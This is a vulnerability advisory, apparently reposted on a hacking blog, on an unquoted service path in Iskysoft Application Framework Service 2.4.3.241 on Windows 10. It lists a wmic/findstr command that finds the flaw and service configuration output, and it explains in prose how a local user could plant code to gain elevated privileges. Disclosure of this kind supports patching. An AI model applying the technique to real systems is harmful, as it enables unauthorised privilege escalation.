Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    86376009

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path
# Discovery by: Alejandro Reyes
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.iskysoft.us
# Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE
# Tested Version: 2.4.3.241
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64 

# Step to discover Unquoted Service Path: 



C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "Iskysoft" | findstr /i /v """

Iskysoft Application Framework Service     IsAppService    C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe    Auto

# Service info:

C:\WINDOWS\system32>sc qc "IsAppService"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IsAppService
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 0   IGNORE
        BINARY_PATH_NAME   : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Iskysoft Application Framework Service
        DEPENDENCIES       : RPCSS


# Exploit:

# A successful attempt would require the local user to be able to insert their code in the 
# system root path undetected by the OS or other security applications where it could 
# potentially be executed during application startup or reboot. If successful, the local 
# user's code would execute with the elevated privileges of the application.